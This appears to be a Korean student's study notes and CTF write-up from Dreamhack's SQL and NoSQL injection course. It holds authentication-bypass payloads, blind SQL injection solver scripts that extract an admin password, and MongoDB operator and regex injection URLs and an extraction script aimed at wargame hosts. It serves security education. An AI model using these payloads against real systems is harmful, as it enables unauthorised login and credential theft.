dreamhack sql injection
# Background - Relational DBMS
-DBMS(DataBase Management System) : Database를 관리하는 애플리케이션
-DBMS의 종류
Relational 관계형 | Non-Relational 비관계형 | |
저장 방식 | 테이블 형식 | 키-값 형식 |
대표 DBMS | MySQL, MariaDB, PostgreSQL, SQLite | MongoDB, CouchDB, Redis |
-Relational DataBase Management System의 관계 연산자 = SQL -> 해당 쿼리를 통해 테이블 형식의 데이터 조작
-SQL(Structured Query Language) : RDBMS의 데이터를 정의, 질의, 수정 등을 하기 위해 고안된 언어
언어 | 설명 |
DDL (Data Definition Language) |
-데이터를 정의하기 위한 언어입니다. -데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행합니다. -대표 명령어 : CREATE, ALTER, DROP, RENAME, TRUNCATE |
DML (Data Manipulation Language) |
-데이터를 조작하기 위한 언어입니다. -실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행합니다. -대표 명령어 : SELECT, INSERT, UPDATE, DELETE |
DCL (Data Control Language) |
-데이터베이스의 접근 권한 등의 설정을 하기 위한 언어입니다. -대표 명령어 : GRANT(권한 부여), REVOKE(권한 박탈) |
# SQL injection : 쿼리문에는 sql 구문이 포함된다. 이때 이 sql 구문에 임의의 문자열을 삽입하는 행위를 sql injection이라고 함. 쿼리문을 조작하면 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있음.
-dreamhack 모듈을 이용한 sql injection -> union을 이용해서 admin의 upw을 알아냈다.
admin' union Select upw from user_table where uid='admin' --
-Blind SQL Injection : 참, 거짓의 결과로 원하는 정보를 알아내는 방법. 스무고개 형식으로 여러 번의 질문을 통해 정보를 알아냄.
ex. pwd의 크기를 알아낼 수 있다. 첫 번째 글자, 두 번째 글자...도 역시 알아낼 수 있다.
code ex. SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
즉, 엄청난 노가다가 필요하다는 뜻. 하지만 파이썬에는 requests 모듈이 있다. 우리의 구세주!! 이를 이용하면 파이썬이 알아서 반복해서 쿼리문을 전송해준다.
예제 코드를 살펴보자.
#get 방식
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
# post 방식
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += ch
break
print(f"Password is {password}")
-dreamhack quiz
1번 보기는 생각하지 못했던 코드인데 기억해놔야겠다.
# dreamhack wargame simple_sqli-sql injection.ver
핵쉬움 ! 그냥 id 부분에 true 값 만들어주거나 주석 달아주면 됨.
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
그래도 풀이를 정리해보자.
문제 접근 방법 2가지 1) 로그인 우회, 2) pwd 알아낸 후 정상적인 경로로 로그인
해당 페이지는 동적 쿼리를 생성하였음(RawQuery) -> 이용자의 입력값이 쿼리문에 포함되므로 sql injection 취약점 발생
=> 우회할 수 있는 여러 script
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
# dreamhack wargame simple_sqli-blind sql injection.ver
blind sql injection으로 flag를 찾아보자.
1. 로그인 요청의 폼 구조 파악
chrome에서 개발자 도구를 이용하여 폼 구조를 파악할 수 있다.(network->preserve log 체크->id:guest, pw:guest으로 로그인한 후 왼쪽 Name 목록에서 /login 페이지의 POST 요청을 찾는다->해당 요청의 payload를 들어가보면 폼구조를 알 수 있다.)
위의 사진에서 보면 알 수 있듯이 로그인할 때 입력한 id 값은 userid로, 비밀번호는 userpassword로 전송됨을 확인할 수 있다.
보통 blind sql injection으로 pwd를 찾을 때는 길이를 먼저 찾는다. 아래는 비번 길이를 찾아내는 스크립트이다.
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}" #호스트 이름, 포트 번호는 각자 바꿔야 됩니다.
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
하면 딱 답이 나와야 하는데.... vs code requests 모듈 설치하는 거 알아보다가 반나절이 흘렀다.
집 가서 윈도우로 다시 해볼게염
그리고 아래는 비번 알아내는 스크립트
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
다음 주제로 넘어가봅시다.
#Background: Non-Relational DBMS
-NoSQL과 RDBMS와의 차이점 : RDBMS은 sql을 통해서만 데이터를 다룰 수 있지만 NoSQL은 sql을 사용하지 않고도 데이터를 다룰 수 있다. 즉, sql injection의 위험성에서 벗어날 수 있다는 소리!
#MongoDB
-JSON 형태로 도큐먼트 저장
-컬렉션 정의 필요 x
-_id 필드가 Primary Key 역할을 함
ex)
RDBMS.ver
SELECT * FROM inventory WHERE status = "A" and qty < 30;
MongoDB.ver
db.inventory.find(
{ $and:[
{ status: "A" },
{ qty : { $lt: 30 } }
]}
)
Name | Description | |
Comparison | $eq | equal, 지정된 값과 같은 값 찾기 |
$in | in, 배열 안의 값들과 일치하는 값 찾기 | |
$ne | not equal, 지정된 값과 같지 않은 값 찾기 | |
$nin | not in, 배열 안의 값들과 일치하지 않는 값 찾기 | |
Logical | $and | AND, 쿼리를 모두 만족하는 문서 반환 |
$not | 쿼리 식 반전시킴 | |
$nor | NOR, 각각의 쿼리를 모두 만족하지 않는 문서 반환 | |
$or | OR, 쿼리 중 하나 이상 만족하는 문서 반환 | |
Element | $exists | 지정된 필드가 있는 문서 찾기 |
$type | 지정된 필드가 지정된 유형인 문서 선택 | |
Evaluation | $expr | 쿼리 언어 내에서 집계 식을 사용할 수 있음 |
$regex | 지정된 정규식과 일치하는 문서 선택 | |
$text | 지정된 텍스트 검색 |
#Redis
-Redis : key-value의 쌍을 가진 데이터를 저장함. 메모리 기반의 DBMS. 데이터를 저장하고 접근할 때 메모리를 사용하기 때문에 속도가 빠르다.
ex)
-https://redis.io/commands 이외의 명령어는 공식 문서 참조하기
Commands
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker
redis.io
#CouchDB
-JSON 형태로 도큐먼트 저장
-REST API 형식으로 요청 처리
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
-이외의 명령어는 공식 문서 참고 https://docs.couchdb.org/en/latest/api/index.html
1. API Reference — Apache CouchDB® 3.3 Documentation
© Copyright 2024, Apache Software Foundation. CouchDB® is a registered trademark of the Apache Software Foundation. Revision e75b98f2.
docs.couchdb.org
#NoSQL Injection
-sql injection과 마찬가지로 쿼리문에 이용자의 입력값이 들어갈 때 발생하는 문제점이다. -> 입력값에 대한 타입 검증이 불충분할 때 취약점 발생.
-MongDB는 데이터의 자료형으로 오브젝트, 배열 타입을 저장할 수 있다. 이를 통해 다양한 행위 가능
ex)
NodeJS의 Express 예제 코드
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
실행 결과
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
-문자열이 아닌 타입의 값을 입력할 수 있음
-이를 통해 연산자 사용 가능
ex)
$ne 연산자를 통해 id와 pwd가 a가 아닌 데이터를 조회하였음.
@근데 여기서 질문이 생김. 왜 admin에 대한 결과 하나만 나온 거지? 다른 결과는 왜 안 나왔는지 궁금함.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=>
[{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
응용 예시 -> 연산자 쓰는 방법 알아두기 "upw"의 값으로 공백이 아닌 값을 조회하여 입력하였음.
@이것도 질문!! 공백이 아닌 값으로는 아주 여러 개가 있을 텐데 그 중에서 뭐가 입력된 건지 모르겠다...
#Blind NoSQL Injection
공격 방법 4가지
1) 표현식
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
참 값을 임의로 만들어 대입한다. 하지만 두 번째 결과를 보면 알 수 있듯이 field에서는 사용하지 못함
2) substring
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
where 연산자와 함께 사용하였음.
문자열을 비교하여 참일 때 값을 출력
3) sleep()
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
앞의 값이 참이면 sleep 함수가 호출되면서 시간 지연 발생
4) error based injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
3번과 비슷함. 앞의 값이 참이면 뒤의 코드(의도적인 오류)가 작동하면서 에러가 난다.
-예제 코드 -> 실제 쓰이는 형식을 잘 알아둬야 함.
비밀번호 길이 알아내기
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
한 글자씩 획득
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
#Mango write-up
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
서버 들어가면 게스트 로그인 정보가 나옴. 로그인 페이지도 없고 냅다 글씨만 써있음.
하지만 페이지 구성 소스를 보면 알 수 있듯이 /login 페이지가 존재한다.
웹해킹 이름에 걸맞게 이 페이지에 쿼리문을 보내서 공격을 해봅시다.
http://host3.dreamhack.games:17838/login?uid[$ne]=a&upw[$ne]=a
http://host3.dreamhack.games:17838/login?uid[$ne]=guest&upw[$ne]=a
http://host3.dreamhack.games:17838/login?uid=admin&upw[$ne]=a
http://host3.dreamhack.games:17838/login?uid[$regest]=^ad&upw[$ne]=a
여러 시행착오들.. 괜히 필터링도 걸려보고, 배운 것들을 써먹어보았다.
풀이 :
ad.in = 정규 표현식으로 필터링을 우회했다.
http://host3.dreamhack.games:17838/login?uid[$regex]=ad.in&upw[$regex]=D.{*
그나저나 저 뒤에 나오는 D.{*의미가 궁금해서 gpt한테 물어봤는데 모르겠댄다. 지피티야 분발하자~~
드림핵 qna 짱 .
이제 하나씩 넣어보면서 pw를 한 글자씩 알아내야 한다. 익스플로잇 코드를 이용하자
import requests
import string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
지금 맥으로 쓰는 중이라
코드 돌린 결과는 집 가서 윈도우로 해보겠씀다
후우 길고 길었던 sql injection 커리 끝!
워게임을 이제 내가 만들어야 하는데 ... 뭘로 만들어볼까 고민을 좀 해봐야겠다.
no sql이 좀 땡기는 것 같기도 ㅎㅎ